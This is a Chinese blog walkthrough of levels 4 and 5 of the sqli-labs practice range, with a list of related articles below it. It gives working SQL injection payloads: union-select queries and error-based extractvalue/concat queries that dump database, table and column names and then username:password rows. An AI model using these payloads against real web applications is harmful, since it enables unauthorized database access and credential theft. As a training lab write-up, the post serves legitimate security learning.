【sqli靶场】第四关和第五关通关思路

简介: 【sqli靶场】第四关和第五关通关思路


前言

sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502

sqli靶场第二关和第三关:

https://filotimo.blog.csdn.net/article/details/134938683?spm=1001.2014.3001.5502


一、sqli靶场第四关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

输入?id=1"",正常回显(""是两个英文双引号)。

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

初步判断为双引号闭合。

1.2 观察报错  

报错信息为'"1"") LIMIT 0,1'

进一步判断为")闭合

输入?id=1") --+,正常回显。

1.3 判断数据表中的列数

输入?id=1") order by 3 --+,正常回显。

输入?id=1") order by 4 --+,显示超出。

用二分法与order by确定列数为3

1.4 使用union联合查询

输入?id=0") union select 1,2,3--+,判断回显位,页面如下:

输入?id=0") union select 1,2,database()--+爆出数据库名:

可以看到数据库名为security。

1.5 使用group_concat()函数

构造如下语句输入:

?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

可以看到表名为emails,referers,uagents,users。

点到为止,我就不继续打这关了,这里跟第三关思路一样,可以看我前面写的博客。

二、sqli靶场第五关

2.1 判断注入类型

输入?id=1',出现如图所示报错('是英文单引号):

输入?id=1'',正常回显(''是两个英文单引号):

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

判断为单引号闭合。

在正常回显(You are in...........)中,没有看到显示位,考虑报错注入。

2.2 使用extractvalue函数报错

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

extractvalue 函数用于从 XML 文档中提取指定路径的数据。我们通过将 extractvalue 函数的参数设置为 concat 函数的返回值,这样 extractvalue 函数就会报错,它的报错内容就是我们想要获得的东西。

concat 函数用于将多个字符串拼接成一个字符串,该函数的参数包括多个被拼接的字符串与拼接符号。在这里,我们将拼接符号设置为 0x7e,该字符是波浪号的 ASCII 编码值,用于分隔拼接的字符串。我们在拼接的字符串中指定了三个部分:0x7e、database() 和 0x7e,其中 database() 用于返回当前数据库的名称。

结果如图:

我们能看到数据库名为security。

2.3 爆出数据库中的表名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

这条语句跟上一条相似,只是把database()替换成了(select group_concat(table_name) from information_schema.tables where table_schema=database())

结果如图:

我们能看到表名为emails,referers,uagents,users。

2.4 爆出users表中的列名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e)) --+

结果如图:

我们能看到users表中的列名为id,username,password。

2.5 爆出users表中的数据

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select concat(username,":",password) from users limit 0,1),0x7e)) --+

这里我们使用 concat函数将 username 字段与 :字符和password字段连接起来。而limit 0,1部分用于指定返回结果的起始位置和数量,它表示从第 0 行开始,只返回一行数据,这通常用于限制查询结果的数量。(如果出现 “Subquery returns more than 1 row” 错误,这通常是由于使用子查询时返回行数超过了预期,需要修正查询或使用合适的限制来确保只返回一个结果行。)

结果如图:

可以看到账号是Dumb,密码也是Dumb

我们可以将limit 0,1改为limit 1,1

结果如图:

可以看到账号是Angelina,密码是I-kill-you

目录
相关文章
|
SQL 安全 数据库
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
1515 1
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
732 1
|
12月前
|
SQL 安全 关系型数据库
sql注入原理和sqlmap命令的基础命令以及使用手法
sql注入原理和sqlmap命令的基础命令以及使用手法
|
SQL 安全 测试技术
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
|
安全 测试技术 数据库
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
|
SQL 安全 关系型数据库
Atom CMS v2.0 SQL 注入(CVE-2022-25488)
Atom CMS v2.0 SQL 注入(CVE-2022-25488)
|
Web App开发 安全 Windows
【通关】WEBGOAT靶场—Path traversal路径遍历第二关
该漏洞利用涉及上传文件至WebGoat的PathTraversal模块。目标是覆盖`C:\Users\Sec\.webgoat-8.1.0\PathTraversal\`目录下的文件。默认上传位置为`C:\Users\Sec\.webgoat-8.1.0\PathTraversal\Wsec\test`。通过抓包和修改数据包,将上传路径改为上两级目录,实现目标。在POST请求中,添加目录跳转到文件名前,如`../`,然后发送修改后的包,成功完成挑战。
469 0
|
消息中间件 缓存 监控
【C++ 观察者模式的应用】跨进程观察者模式实战:结合ZeroMQ和传统方法
【C++ 观察者模式的应用】跨进程观察者模式实战:结合ZeroMQ和传统方法
386 1
BurpSuite2021 -- 抓包使用及设置
BurpSuite2021 -- 抓包使用及设置
346 1
|
机器学习/深度学习 自然语言处理 并行计算
神经网络结构——CNN、RNN、LSTM、Transformer !!
神经网络结构——CNN、RNN、LSTM、Transformer !!
891 0